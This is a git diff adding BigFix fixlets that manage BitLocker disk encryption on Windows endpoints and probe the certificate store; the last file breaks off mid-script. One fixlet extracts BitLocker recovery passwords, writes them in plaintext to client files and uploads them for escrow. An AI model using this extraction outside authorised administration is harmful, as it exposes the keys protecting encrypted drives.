+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes
new file mode 100644
index 000000000..a810d2418
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes	
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Encrypt System Volume - Windows
+  ID       : 23093
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:27:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Encrypt System Volume - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will encrypt the system drive of a device.</P>
+<P>If you choose to encrypt using the TPM and a random recovery password you should enable <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
+<P>The following Exit Codes can be returned:</P>
+<P>10 - Encryption was Terminated for some reason</P>
+<P>20 - Encryption was Terminated due to a bootable CD/DVD in the system</P>
+<P>30 - Encryption was Terminated due to a lack of a numerical password on the system</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
+    <Relevance><![CDATA[(not boolean value of selects ("IsVolumeInitializedForProtection from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") /* Drive is not initialized for encryption */ | true /* Error reading initialization state -- drive has not been initialized */]]></Relevance>
+    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* The drive is an encryptable volume */]]></Relevance>
+    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24088">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the system drive using the TPM and a random recovery password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+
+folder create "{parameter "Storage"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
+
+//
+// Write Status
+//
+
+delete status.bat
+
+createfile until _end_
+
+manage-bde -status {name of drive of system folder} > "{parameter "Storage"}\Status.log"
+
+_end_
+
+move __createfile status.bat
+
+//
+// Write Termination Script
+//
+delete terminate.bat
+
+createfile until _end_
+
+manage-bde -off {name of drive of system folder} > "{parameter "Storage"}\Terminate.log
+manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword >> "{parameter "Storage"}\Terminate.log
+
+_end_
+
+move __createfile terminate.bat
+
+
+//
+// Write Enable Script
+//
+
+delete enable.bat
+
+createfile until _end_
+
+manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword
+manage-bde -on {name of drive of system folder} -recoverypassword > "{parameter "Storage"}\Enable.log"
+
+_end_
+
+move __createfile enable.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "Storage") }
+
+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// If the action dies here there was a failure adding the Numerical Password
+	if { not exists lines containing "Numerical Password" of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 30
+	endif
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	notify client ForceRefresh
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes
new file mode 100644
index 000000000..5ec516768
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes	
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows
+  ID       : 23097
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T19:53:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows</Title>
+    <Description><![CDATA[<P>This task will backup the recovery password to Active Directory.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+$BitLocker = Get-WmiObject -Namespace 'Root\cimv2\Security\MicrosoftVolumeEncryption' -Class 'Win32_EncryptableVolume' -Filter "DriveLetter = 'C:'"
+
+$ProtectorID = ($BitLocker.GetKeyProtectors()).VolumeKeyProtectorID
+
+$Result = -1
+
+foreach($ID in $ProtectorID) {{
+    if ($Bitlocker.GetKeyProtectorType($ID).KeyProtectorType -ne 3) {{ continue }
+
+    $Result = $BitLocker.BackupRecoveryInformationToActiveDirectory($ID).ReturnValue
+}
+
+$host.SetShouldExit($Result)
+exit
+_end_
+
+move __createfile powershell.ps1
+
+// We use command here so we can get a return code, file doesnt provide us the return code.
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -Command "& .\powershell.ps1"
+
+// AD Backup Failed
+continue if {exit code of action = 0}
+
+exit]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes
new file mode 100644
index 000000000..34720c769
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes	
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Recovery Password Probe - Windows
+  ID       : 21335
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T11:45:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Recovery Password Probe - Windows</Title>
+    <Description><![CDATA[<DIV class=subsection>This probe grabs the current bitlocker recovery password for the system in it's raw format and outputs it to disk to be gathered by analyses.
+<P>Creates a Volume-RecoveryPwd.txt file in __BESData. If there is already a file it checks to see if the recovery key has changed. If it has changed it archives the old one and writes the new recovery key to disk</P>
+<P>Example</P>
+<UL>
+<LI>C-RecoveryPwd.txt
+<LI>D-RecoveryPwd.txt</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+#Regex for extracting the volume letters from the BitLocker Status
+[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
+[regex] $RecoveryPwdRegex = "Password: \s`r`n([0-9-]*)"
+
+#Get Bitlocker Status: Windows 7+
+$BitlockerStatus = (manage-bde -status)
+
+#Extract Volume Letters from Bitlocker Status
+$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
+
+#Get Recovery Passwords
+foreach ($Volume in $Volumes) {{
+    $ProtectorInfo = manage-bde -protectors -get $Volume -t RecoveryPassword
+
+    #Check protector for numerical password
+    $PasswordSection = $ProtectorInfo | select-string -Pattern "\s+\sPassword:"
+
+    #Skip protectors that don't contain a numerical password
+    if ($PasswordSection -eq $null) {{write-verbose "The protector $($ProtectorInfo[6]) for volume $Volume does not have a recovery password"; continue;}
+
+    #Get the line number for the password
+    $PwdIndex = $PasswordSection | select-object LineNumber
+
+    #Grab the recovery key and trim spaces. If multiple keys are defined grab the first one.
+    $RecoveryPwd = $ProtectorInfo[($PwdIndex | Select-Object -first 1).LineNumber].trim()
+
+    #Determine Storage Path for recovery key:
+    $KeyStoragePath = "$OutFolder\$($Volume[0])-RecoveryPwd.txt"
+
+    #Check for previous recovery key
+    if (test-path $KeyStoragePath){{
+        $OldKey = get-content $KeyStoragePath
+        if ($OldKey -eq $RecoveryPwd) {{ #New Key is the same, move on
+            write-verbose "Recovery Key is already recorded. Moving on."
+            continue;
+        } else {{ #New Key is Different -- move old key
+            write-verbose "Recovery Key is different than previously recorded. Archiving old key and recording new key."
+            rename-item $KeyStoragePath "$($Volume[0])-RecoveryPwd-$(get-date -f "yyyyMMddHHmmss").txt"
+        }
+    }
+
+    #If asked to, store the recovery key
+    if ($OutFolder -ne $null) {{"$RecoveryPwd" > "$OutFolder\$($Volume[0])-RecoveryPwd.txt"}
+}
+_end_
+
+move __createfile powershell.ps1
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+archive now
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes
new file mode 100644
index 000000000..8026882f7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes	
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Refresh System Drive Encryption - Windows
+  ID       : 24097
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-21T19:19:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Refresh System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will suspend and immediately resume BitLocker protection.</P>
+<P>This should be performed immediately after any TPM/Recovery issues on an endpoint.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -disable "{name of drive of system folder}" {if (version of operating system < "6.2") then ("-RebootCount 1") else ("")}
+manage-bde -protectors -enable "{name of drive of system folder}"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes
new file mode 100644
index 000000000..f86c4b70c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Resume System Drive Encryption - Windows
+  ID       : 24111
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Resume System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will resume paused BitLocker protection on the system volume.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Drive is Encryptable (short circuit) */ if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[/* Drive is not protected */ (not boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Relevance><![CDATA[/* Drive is encrypted though */ (boolean value of selects ("ConversionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -enable &quot;{name of drive of system folder}&quot;
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes
new file mode 100644
index 000000000..a067fcfa3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes	
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Suspend System Drive Encryption - Windows
+  ID       : 24112
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Suspend System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will suspend BitLocker protection on the system volume.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -disable &quot;{name of drive of system folder}&quot;
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes
new file mode 100644
index 000000000..117e9f8da
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes	
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Certificate Store Probe - Windows
+  ID       : 24040
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Certificate Store Probe - Windows</Title>
+    <Description><![CDATA[<P>This fixlet probes the Windows Certificate Store and outputs a report for consumption by BigFix.</P>
+<P>This fixlet will always be relevant on a Windows system.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Certificate Store</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+#Requires -Version 3.0
+$RegStorage = &quot;HKLM:\Software\C3 Inventory\Certificate Store&quot;
+
+function Write-CertToRegistry{{
+    param (
+        [System.Security.Cryptography.X509Certificates.X509Certificate2] $Certificate,
+        [string] $Path,
+        [string] $Childpath
+    )
+
+#    $Storage = &quot;$($Global:RegStorage)\$($Certificate.PSParentPath.Replace(&quot;Microsoft.PowerShell.Security\Certificate::&quot;,&apos;&apos;))\$($Certificate.ThumbPrint)&quot;
+    $Storage = &quot;$Path\$ChildPath\$($Certificate.ThumbPrint)&quot;
+
+    New-Item $Storage -force -ErrorAction SilentlyContinue | out-null
+
+    new-ItemProperty -Path $Storage -Name &quot;Subject&quot; -Value $Certificate.Subject | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Friendly Name&quot; -Value $Certificate.FriendlyName | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Issuer&quot; -Value $Certificate.Issuer | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Serial Number&quot; -Value $Certificate.SerialNumber | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not Before&quot; -Value $Certificate.NotBefore | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not Before Date&quot; -Value $Certificate.NotBefore.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
